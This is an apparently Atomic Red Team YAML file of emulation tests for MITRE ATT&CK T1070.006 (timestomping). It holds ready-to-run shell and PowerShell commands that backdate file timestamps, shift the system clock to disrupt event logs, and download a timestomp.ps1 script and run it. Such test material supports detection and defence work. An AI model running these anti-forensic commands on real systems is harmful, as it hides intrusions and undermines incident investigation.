Štěpán Bendl
286 lines
11 KiB
YAML
286 lines
11 KiB
YAML
attack_technique: T1070.006
|
||
display_name: 'Indicator Removal on Host: Timestomp'
|
||
atomic_tests:
|
||
- name: Set a file's access timestamp
|
||
auto_generated_guid: 5f9113d5-ed75-47ed-ba23-ea3573d05810
|
||
description: |
|
||
Stomps on the access timestamp of a file
|
||
supported_platforms:
|
||
- linux
|
||
- macos
|
||
input_arguments:
|
||
target_filename:
|
||
description: Path of file that we are going to stomp on last access time
|
||
type: path
|
||
default: /tmp/T1070.006-access.txt
|
||
dependencies:
|
||
- description: |
|
||
The file must exist in order to be timestomped
|
||
prereq_command: |
|
||
test -e #{target_filename} && exit 0 || exit 1
|
||
get_prereq_command: |
|
||
echo 'T1070.006 file access timestomp test' > #{target_filename}
|
||
executor:
|
||
command: |
|
||
touch -a -t 197001010000.00 #{target_filename}
|
||
cleanup_command: |
|
||
rm -f #{target_filename}
|
||
name: sh
|
||
|
||
- name: Set a file's modification timestamp
|
||
auto_generated_guid: 20ef1523-8758-4898-b5a2-d026cc3d2c52
|
||
description: |
|
||
Stomps on the modification timestamp of a file
|
||
supported_platforms:
|
||
- linux
|
||
- macos
|
||
input_arguments:
|
||
target_filename:
|
||
description: Path of file that we are going to stomp on last access time
|
||
type: path
|
||
default: /tmp/T1070.006-modification.txt
|
||
dependencies:
|
||
- description: |
|
||
The file must exist in order to be timestomped
|
||
prereq_command: |
|
||
test -e #{target_filename} && exit 0 || exit 1
|
||
get_prereq_command: |
|
||
echo 'T1070.006 file modification timestomp test' > #{target_filename}
|
||
executor:
|
||
command: |
|
||
touch -m -t 197001010000.00 #{target_filename}
|
||
cleanup_command: |
|
||
rm -f #{target_filename}
|
||
name: sh
|
||
- name: Set a file's creation timestamp
|
||
auto_generated_guid: 8164a4a6-f99c-4661-ac4f-80f5e4e78d2b
|
||
description: |
|
||
Stomps on the create timestamp of a file
|
||
|
||
Setting the creation timestamp requires changing the system clock and reverting.
|
||
Sudo or root privileges are required to change date. Use with caution.
|
||
supported_platforms:
|
||
- linux
|
||
- macos
|
||
input_arguments:
|
||
target_filename:
|
||
description: Path of file that we are going to stomp on last access time
|
||
type: path
|
||
default: /tmp/T1070.006-creation.txt
|
||
executor:
|
||
elevation_required: true
|
||
command: |
|
||
NOW=$(date +%m%d%H%M%Y)
|
||
date 010100001971
|
||
touch #{target_filename}
|
||
date "$NOW"
|
||
stat #{target_filename}
|
||
cleanup_command: |
|
||
rm -f #{target_filename}
|
||
name: sh
|
||
- name: Modify file timestamps using reference file
|
||
auto_generated_guid: 631ea661-d661-44b0-abdb-7a7f3fc08e50
|
||
description: |
|
||
Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file.
|
||
|
||
This technique was used by the threat actor Rocke during the compromise of Linux web servers.
|
||
supported_platforms:
|
||
- linux
|
||
- macos
|
||
input_arguments:
|
||
target_file_path:
|
||
description: Path of file to modify timestamps of
|
||
type: path
|
||
default: /tmp/T1070.006-reference.txt
|
||
reference_file_path:
|
||
description: Path of reference file to read timestamps from
|
||
type: path
|
||
default: /bin/sh
|
||
executor:
|
||
command: |
|
||
touch #{target_file_path}
|
||
touch -acmr #{reference_file_path} #{target_file_path}
|
||
cleanup_command: |
|
||
rm -f #{target_file_path}
|
||
name: sh
|
||
- name: Windows - Modify file creation timestamp with PowerShell
|
||
auto_generated_guid: b3b2c408-2ff0-4a33-b89b-1cb46a9e6a9c
|
||
description: |
|
||
Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT.
|
||
To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.
|
||
supported_platforms:
|
||
- windows
|
||
input_arguments:
|
||
target_date_time:
|
||
description: Date/time to replace original timestamps with
|
||
type: string
|
||
default: 01/01/1970 00:00:00
|
||
file_path:
|
||
description: Path of file to change creation timestamp
|
||
type: path
|
||
default: PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt
|
||
dependency_executor_name: powershell
|
||
dependencies:
|
||
- description: |
|
||
A file must exist at the path (#{file_path}) to change the creation time on
|
||
prereq_command: |
|
||
if (Test-Path "#{file_path}") {exit 0} else {exit 1}
|
||
get_prereq_command: |
|
||
New-Item -Path "#{file_path}" -Force | Out-Null
|
||
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
|
||
executor:
|
||
command: |
|
||
Get-ChildItem "#{file_path}" | % { $_.CreationTime = "#{target_date_time}" }
|
||
name: powershell
|
||
- name: Windows - Modify file last modified timestamp with PowerShell
|
||
auto_generated_guid: f8f6634d-93e1-4238-8510-f8a90a20dcf2
|
||
description: |
|
||
Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT.
|
||
To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.
|
||
supported_platforms:
|
||
- windows
|
||
input_arguments:
|
||
target_date_time:
|
||
description: Date/time to replace original timestamps with
|
||
type: string
|
||
default: 01/01/1970 00:00:00
|
||
file_path:
|
||
description: Path of file to change modified timestamp
|
||
type: path
|
||
default: PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt
|
||
dependency_executor_name: powershell
|
||
dependencies:
|
||
- description: |
|
||
A file must exist at the path (#{file_path}) to change the modified time on
|
||
prereq_command: |
|
||
if (Test-Path "#{file_path}") {exit 0} else {exit 1}
|
||
get_prereq_command: |
|
||
New-Item -Path "#{file_path}" -Force | Out-Null
|
||
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
|
||
executor:
|
||
command: |
|
||
Get-ChildItem "#{file_path}" | % { $_.LastWriteTime = "#{target_date_time}" }
|
||
name: powershell
|
||
- name: Windows - Modify file last access timestamp with PowerShell
|
||
auto_generated_guid: da627f63-b9bd-4431-b6f8-c5b44d061a62
|
||
description: |
|
||
Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.
|
||
To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.
|
||
supported_platforms:
|
||
- windows
|
||
input_arguments:
|
||
target_date_time:
|
||
description: Date/time to replace original timestamps with
|
||
type: string
|
||
default: 01/01/1970 00:00:00
|
||
file_path:
|
||
description: Path of file to change last access timestamp
|
||
type: path
|
||
default: PathToAtomicsFolder\..\ExternalPayloads\T1551.006_timestomp.txt
|
||
dependency_executor_name: powershell
|
||
dependencies:
|
||
- description: |
|
||
A file must exist at the path ("#{file_path}") to change the last access time on
|
||
prereq_command: |
|
||
if (Test-Path "#{file_path}") {exit 0} else {exit 1}
|
||
get_prereq_command: |
|
||
New-Item -Path "#{file_path}" -Force | Out-Null
|
||
Set-Content "#{file_path}" -Value "T1551.006 Timestomp" -Force | Out-Null
|
||
executor:
|
||
command: |
|
||
Get-ChildItem "#{file_path}" | % { $_.LastAccessTime = "#{target_date_time}" }
|
||
name: powershell
|
||
- name: Windows - Timestomp a File
|
||
auto_generated_guid: d7512c33-3a75-4806-9893-69abc3ccdd43
|
||
description: |
|
||
Timestomp kxwn.lock.
|
||
|
||
Successful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file.
|
||
|
||
[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)
|
||
supported_platforms:
|
||
- windows
|
||
input_arguments:
|
||
file_path:
|
||
description: File path for timestomp payload
|
||
type: string
|
||
default: PathToAtomicsFolder\..\ExternalPayloads
|
||
dependency_executor_name: powershell
|
||
dependencies:
|
||
- description: |
|
||
timestomp.ps1 must be present in #{file_path}.
|
||
prereq_command: |
|
||
if (Test-Path "#{file_path}\timestomp.ps1") {exit 0} else {exit 1}
|
||
get_prereq_command: |
|
||
Invoke-WebRequest "https://raw.githubusercontent.com/mitre-attack/attack-arsenal/bc0ba1d88d026396939b6816de608cb279bfd489/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1" -OutFile "#{file_path}\timestomp.ps1"
|
||
- description: |
|
||
kxwn.lock must be present in #{file_path}.
|
||
prereq_command: |
|
||
if (Test-Path -path "#{file_path}\kxwn.lock") {exit 0} else {exit 1}
|
||
get_prereq_command: |
|
||
New-Item -Path "#{file_path}\kxwn.lock" -ItemType File
|
||
executor:
|
||
command: |
|
||
import-module "#{file_path}\timestomp.ps1"
|
||
timestomp -dest "#{file_path}\kxwn.lock"
|
||
name: powershell
|
||
- name: MacOS - Timestomp Date Modified
|
||
auto_generated_guid: 87fffff4-d371-4057-a539-e3b24c37e564
|
||
description: |
|
||
Stomps on the modification timestamp of a file using MacOS's SetFile utility
|
||
supported_platforms:
|
||
- macos
|
||
input_arguments:
|
||
target_filename:
|
||
description: |
|
||
Path of file that we are going to stomp on last modified time
|
||
type: path
|
||
default: /tmp/T1070.006-modified.txt
|
||
target_date:
|
||
description: Date to replace original timestamps with
|
||
type: string
|
||
default: 01/01/1970
|
||
dependencies:
|
||
- description: |
|
||
The file must exist in order to be timestomped
|
||
prereq_command: |
|
||
test -e #{target_filename} && exit 0 || exit 1
|
||
get_prereq_command: |
|
||
echo 'T1070.006 MacOS file modified timestomp test' > #{target_filename}
|
||
executor:
|
||
name: sh
|
||
command: |
|
||
SetFile -m #{target_date} #{target_filename}
|
||
cleanup_command: |
|
||
rm -f #{target_filename}
|
||
- name: Event Log Manipulations- Time slipping via Powershell
|
||
auto_generated_guid: 7bcf83bf-f5ef-425c-9d9a-71618ad9ed12
|
||
description: |-
|
||
Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics.
|
||
Reference -
|
||
https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40
|
||
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4
|
||
supported_platforms:
|
||
- windows
|
||
input_arguments:
|
||
days_to_modify:
|
||
description: Value to which system time will update
|
||
type: string
|
||
default: "3"
|
||
executor:
|
||
command: |
|
||
try{
|
||
Set-Date -Date (Get-Date).AddDays(#{days_to_modify})
|
||
Add-Content "$env:APPDATA\slipDays.bak" #{days_to_modify}
|
||
}
|
||
catch {exit 1}
|
||
cleanup_command: |
|
||
if(Test-Path "$env:APPDATA\slipDays.bak" ){
|
||
foreach($line in (get-content $env:APPDATA\slipDays.bak)){
|
||
Set-Date -Date (Get-Date).AddDays(-$line)
|
||
}
|
||
rm "$env:APPDATA\slipDays.bak"
|
||
}
|
||
name: powershell
|
||
elevation_required: true
|